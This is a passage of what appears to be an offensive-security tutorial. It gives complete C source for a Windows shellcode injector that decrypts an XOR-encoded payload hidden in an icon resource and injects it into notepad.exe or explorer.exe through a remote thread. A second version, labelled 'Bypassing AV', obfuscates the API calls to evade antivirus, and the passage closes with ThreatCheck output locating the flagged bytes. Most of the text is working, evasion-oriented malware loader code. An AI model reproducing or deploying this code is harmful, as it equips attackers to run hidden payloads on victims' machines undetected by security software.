        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
		XOR((char *) payload, payload_len, key, sizeof(key));
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
				
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	int pid = 0;
	HANDLE hProc = NULL;
	
	pid = FindTarget("notepad.exe");
	
	unsigned char * payload;
	unsigned int shellcode_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL,res); //load resource
	payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data. 
	shellcode_len = SizeofResource(NULL, res);
	
	
	if(pid){

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
						
		if (hProc != NULL) {
			Inject(hProc, payload, shellcode_len);
			CloseHandle(hProc);
		}
	}
		
	
	return 0;
}

Bypassing AV (Detectable)

Implement function call obfuscation to VirtualAllocEx, WriteProcessMemory, CreateRemoteThread .

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>

char key[] = "hUNdAmEnALtaterphApSERS";
LPVOID (WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress,SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect); 
BOOL (WINAPI * pWriteProcessMemory)(HANDLE  hProcess,LPVOID  lpBaseAddress,LPCVOID lpBuffer,SIZE_T  nSize,SIZE_T  *lpNumberOfBytesWritten); 
HANDLE (WINAPI * pCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES  lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
		
		
		unsigned char sVirtualAllocEx [] = {0x3e,0x3c,0x3c,0x10,0x34,0x0c,0x29,0x2f,0x2d,0x20,0x1b,0x02,0x31,0x1d};
		unsigned char sWriteProcessMemory [] = {0x3f,0x27,0x27,0x10,0x24,0x3d,0x37,0x01,0x22,0x29,0x07,0x12,0x39,0x00,0x1f,0x1f,0x1a,0x38};
		unsigned char sCreateRemoteThread [] = {0x2b,0x27,0x2b,0x05,0x35,0x08,0x17,0x0b,0x2c,0x23,0x00,0x04,0x20,0x0d,0x00,0x15,0x09,0x25};
		
		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		
		pVirtualAllocEx = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle("Kernel32.dll"),sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle("Kernel32.dll"),sCreateRemoteThread);
		
  
        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
		XOR((char *) payload, payload_len, key, sizeof(key));
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
				
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	int pid = 0;
	HANDLE hProc = NULL;
	
	pid = FindTarget("explorer.exe");
	
	unsigned char * payload;
	unsigned int shellcode_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL,res); //load resource
	payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data. 
	shellcode_len = SizeofResource(NULL, res);
	
	
	if(pid){

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
						
		if (hProc != NULL) {
			Inject(hProc, payload, shellcode_len);
			CloseHandle(hProc);
		}
	}
		
	
	return 0;
}

Binary Analysis

PS C:\> ThreatCheck.exe -f implant.exe
[+] Target file size: 95232 bytes
[*] Threat found, splitting
[!] Identified end of bad bytes at offset 0x583
00000483   85 C0 75 D9 EB 04 8B 7C  24 28 48 8B CB FF 15 6A   .AuUë..|$(H.Eÿ.j
00000493   BF 00 00 BA 64 00 00 00  33 C9 44 8D 42 A6 FF 15   ¿..ºd...3ÉD.B▌ÿ.
000004A3   A1 BF 00 00 48 8B D0 33  C9 48 8B D8 FF 15 73 BF   ¡¿..H.D3ÉH.Oÿ.s¿
000004B3   00 00 48 8B C8 FF 15 72  BF 00 00 48 8B D3 33 C9   ..H.Eÿ.r¿..H.O3É
000004C3   48 8B F0 FF 15 6C BF 00  00 8B E8 85 FF 74 2F 44   H.dÿ.l¿...è.ÿt/D
000004D3   8B C7 33 D2 B9 3A 04 00  00 FF 15 2E BF 00 00 48   .Ç3O1:...ÿ..¿..H
000004E3   8B D8 48 85 C0 74 17 44  8B C5 48 8B D6 48 8B C8   .OH.At.D.ÅH.ÖH.E
000004F3   E8 58 01 00 00 48 8B CB  FF 15 FF BE 00 00 4C 8D   èX...H.Eÿ.ÿ_..L.
00000503   9C 24 50 01 00 00 33 C0  49 8B 5B 10 49 8B 6B 18   .$P...3AI.[.I.k.
00000513   49 8B 73 20 49 8B E3 5F  C3 CC CC CC CC CC CC CC   I.s I.a_AIIIIIII
00000523   CC CC CC CC CC CC CC CC  CC CC CC CC CC 48 85 D2   IIIIIIIIIIIIIH.O
00000533   74 5A 48 89 5C 24 10 57  48 89 74 24 10 45 33 D2   tZH.\$.WH.t$.E3O
00000543   33 F6 33 DB 49 FF C9 48  8B FA 4C 8B D9 33 C9 49   3ö3UIÿÉH.úL.U3ÉI
00000553   63 D2 49 3B D1 4D 8D 5B  01 48 0F 45 CE 42 0F B6   cOI;ÑM.[.H.EIB.
00000563   04 01 48 8D 71 01 41 30  43 FF 33 C0 49 3B D1 41   ..H.q.A0Cÿ3AI;ÑA
00000573   0F 45 C2 FF C3 44 8D 50  01 48 63 C3 48 3B C7 72   .EAÿAD.P.HcAH;Çr
[*] Run time: 16.16s

Last updated